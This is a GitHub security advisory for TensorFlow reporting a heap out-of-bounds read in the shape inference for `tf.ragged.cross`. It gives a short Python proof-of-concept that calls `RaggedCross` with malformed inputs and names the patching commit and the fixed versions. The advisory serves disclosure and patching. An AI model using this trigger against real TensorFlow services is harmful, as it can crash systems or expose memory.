GitHub Security Advisory

Heap OOB read in `tf.ragged.cross`

✓ GitHub Reviewed HIGH Has CVE

Advisory Details

### Impact
The [shape inference code for `tf.ragged.cross`](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/ops/ragged_array_ops.cc#L64) can trigger a read outside of bounds of heap allocated array:

```python
import tensorflow as tf

@tf.function
def test():
y = tf.raw_ops.RaggedCross(ragged_values=[],
ragged_row_splits=[],
sparse_indices=[[5]],
sparse_values=[],
sparse_shape=[5],
dense_inputs=[['a']],
input_order='RD',
hashed_output=False,
num_buckets=5,
hash_key=2,
out_values_type=tf.string,
out_row_splits_type=tf.int64)
return y

test()
```

### Patches
We have patched the issue in GitHub commit [fa6b7782fbb14aa08d767bc799c531f5e1fb3bb8](https://github.com/tensorflow/tensorflow/commit/fa6b7782fbb14aa08d767bc799c531f5e1fb3bb8).

The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range.
